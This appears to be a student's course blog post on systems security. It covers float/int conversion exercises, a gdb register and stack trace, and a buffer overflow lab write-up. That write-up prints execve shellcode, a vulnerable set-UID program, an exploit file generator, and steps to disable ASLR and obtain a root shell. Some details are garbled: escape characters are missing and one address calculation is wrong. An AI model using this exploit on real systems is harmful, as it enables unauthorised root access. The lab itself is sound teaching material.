2017-2018-1 20155318 《信息安全系统设计基础》第六周课堂测试补充

2017-2018-1 20155318 《信息安全系统设计基础》第六周课堂测试补充

ch02-3

补充提交,课上提交截图不完备

在代码输出那一行设置断点(gdb) b 5,输出x,ux的值。

课后练习2.96

  • 要求: 构造一个函数int float_f2i(float_bits f);对于浮点数,这个函数计算 (int)f,如果f是NaN,向零舍入。如果f不能用整数表示(例如,超出表示范围,或者它是一个NaN),那么那么函数返回0x80000000。测试函数,对参数f可以取的所有2^32个值求值,将结果与使用的机器的浮点运算得到的结果相比较。
  • 思路: 首先,看是否是浮点数且不超范围,超过表示范围,置为最大整数,若太小,不能化为整数,置为0。其次看符号 设置+,-号。如果是NaN,置为0x80000000
  • 出现的问题:输入负数时,只会输出-2147483648

  • 解决方案:函数形参为无符号型,输入负数时和整数转化不同,加了一行代码打印当前输入,负数时,将无符号转化为浮点型解决

课后练习2.97

构造函数float_bits float_i2f(int i);

  • 要求: 对于函数i,这个函数计算(float)i的位级表示。
    测试你的函数,对参数f可以取的所有2^32个值求值,将结果与你使用的机器的浮点运算得到的结果相比较。
  • 思路与上一题类似,主函数加了一个循环不用每次输入都运行

ch03-5

  • 要求:
  1. 通过输入gcc -S -o main.s main.c 将下面c程序”week0603学号.c“编译成汇编代码
int g(int x){
   return x+3;
}
int f(int x){
    int i = 学号后两位;
   return g(x)+i;
}
int main(void){
   return f(8)+1;
}
  1. 参考http://www.cnblogs.com/lxm20145215----/p/5982554.html,使用gdb跟踪汇编代码,在纸上画出f中每一条语句引起的eip(rip),ebp(rbp),esp(rsb),eax(rax)的值和栈的变化情况。提交照片,要有学号信息。
  • 实验步骤:(自己电脑安装32位库有问题,在实验楼完成的)
  • 使用gcc - g xxx.c -o xxx -m32指令在64位的机器上产生32位汇编,然后使用gdb xxx指令进入gdb调试器
  • 进入之后先在main函数处设置一个断点,再run一下,使用disassemble指令获取汇编代码,用i(info) r(registers)指令查看各寄存器的值

  • 可见此时主函数的栈基址为0xffffd454,用x(examine)指令查看内存地址中的值,但目前%esp所指堆栈内容为0,%ebp所指内容也为0

  • call指令将下一条指令的地址入栈,此时%esp,%ebp和堆栈的值为:

  • 执行sub语句:

  • 赋值语句i=18

  • 实参入栈

  • 执行到断点处
指令 %esp %ebp %eip %eax 堆栈
push %ebp 0xffffd454 0xffffd458 0x804841d 0x1 0x0
mov %esp,%ebp 0xffffd454 0xffffd458 0x804841f 0x1 0x0
movl %esp,%ebp 0xffffd454 0xffffd458 0x8048422 0x1 0x8 0x0
call 0x80483f8 0xffffd454 0xffffd458 0x8048424 0x1 0x8 0x0
push %ebp 0xffffd450 0xffffd458 0x80483f8 0x1 0x8048429<main+18> 0x8 0x0
mov %esp,%ebp 0xffffd44c 0xffffd458 0x80483f9 0x1 0xffffd458 0x8048429<main+18> 0x8 0x0
sub $0x14,%esp 0xffffd44c 0xffffd44c 0x80483fb 0x1 0xffffd458 0x8048429<main+18> 0x8 0x0 0xf7e38ad3
movl $0x12,-0x4(%ebp) 0xffffd438 0xffffd44c 0x80483fe 0x1 0xffffd458 0x8048429<main+18> 0x8 0x0 0xf7e38ad3 0x1
mov 0x8(%ebp),%eax 0xffffd438 0xffffd44c 0x8048405 0x1 0xffffd458 0x8048429<main+18> 0x8 0x0 0xf7e38ad3 0x1 0xfffd4f4
mov %eax,(%esp) 0xffffd438 0xffffd44c 0x8048408 0x8 0xffffd458 0x8048429<main+18> 0x8 0x0 0xf7e38ad3 0x1 0xfffd4f4 0xfffd4fc

缓冲区溢出漏洞实验

  • 为搭建32位操作环境输入以下三个命令安装用于编译32位C程序的工具:
sudo apt-get update
sudo apt-get install lib32z1 libc6-dev-i386
sudo apt-get install lib32readline-gplv2-dev
  • 我们使用以下命令关闭地址空间随机化这一功能:
sudo sysctl -w kernel.randomize_va_space=0
  • 出现了如下问题:

  • 关闭实验楼重新打开后恢复正常

  • linux系统中,/bin/sh实际是指向/bin/bash或/bin/dash的一个符号链接。为了重现这一防护措施被实现之前的情形,我们使用另一个shell程序(zsh)代替/bin/bash。下面的指令设置zsh程序:

  • shellcode

  • 一般情况下,缓冲区溢出会造成程序崩溃,在程序中,溢出的数据覆盖了返回地址。而如果覆盖返回地址的数据是另一个地址,那么程序就会跳转到该地址,如果该地址存放的是一段精心设计的代码用于实现其他功能,这段代码就是shellcode。

  • 本次实验的shellcode就是下方代码的汇编版本“x31xc0x50x68"//sh"x68"/bin"x89xe3x50x53x89xe1x99xb0x0bxcdx80”:

#include <stdio.h>
int main( ) {
char *name[2];
name[0] = ‘‘/bin/sh’’;
name[1] = NULL;
execve(name[0], name, NULL);
}
  • 在64位的机器上产生32位汇编:
gcc -m32 -g shellcode.c -o shellcode
  • 在“/tmp”目录下保存以下代码为“stack.c”:
/* stack.c */
/* This program has a buffer overflow vulnerability. */
/* Our task is to exploit this vulnerability */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

int bof(char *str)
{
char buffer[12];

/* The following statement has a buffer overflow problem */
strcpy(buffer, str);//将主函数中读入的文件内容装入“buffer”

return 1;
}

int main(int argc, char **argv)
{
char str[517];
FILE *badfile;
badfile = fopen("badfile", "r");//读取一个名为“badfile”的文件
fread(str, sizeof(char), 517, badfile);
bof(str);
printf("Returned Properly
");
return 1;
}
  • 编译该程序,并设置SET-UID:
  1. sudo su
  2. gcc -m32 -g -z execstack -fno-stack-protector -o stack stack.c
  3. chmod u+s stack
  4. exit

攻击刚才的漏洞程序,并通过攻击获得root权限。把以下代码保存为“exploit.c”文件,保存到 /tmp 目录下。代码如下:

/* exploit.c */
/* A program that creates a file containing code for launching shell*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

char shellcode[]=

"x31xc0"    //xorl %eax,%eax
"x50"        //pushl %eax
"x68""//sh"  //pushl $0x68732f2f
"x68""/bin"  //pushl $0x6e69622f
"x89xe3"    //movl %esp,%ebx
"x50"        //pushl %eax
"x53"        //pushl %ebx
"x89xe1"    //movl %esp,%ecx
"x99"        //cdq
"xb0x0b"    //movb $0x0b,%al
"xcdx80"    //int $0x80
;

void main(int argc, char **argv)
{
char buffer[517];
FILE *badfile;

/* Initialize buffer with 0x90 (NOP instruction) */
memset(&buffer, 0x90, 517);

/* You need to fill the buffer with appropriate contents here */
strcpy(buffer,"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x??x??x??x??");
strcpy(buffer+100,shellcode);

/* Save the contents to the file "badfile" */
badfile = fopen("./badfile", "w");
fwrite(buffer, 517, 1, badfile);
fclose(badfile);
}

注意上面的代码中x??x??x??x??处需要添上shellcode保存在内存中的地址
shellcode保存在内存中的地址:

gdb stack
disass main

  • 根据语句 strcpy(buffer+100,shellcode); 我们计算shellcode的地址为 0xffffd2a0(十六进制)+100(十进制)=0xffffd214(十六进制)
  • 修改exploit.c,将 x??x??x??x?? 修改为 x04xd3xffxff
  • 运行攻击程序exploit和漏洞程序stack,通过攻击得到root权限

代码链接

原文地址:https://www.cnblogs.com/lxy1997/p/7751068.html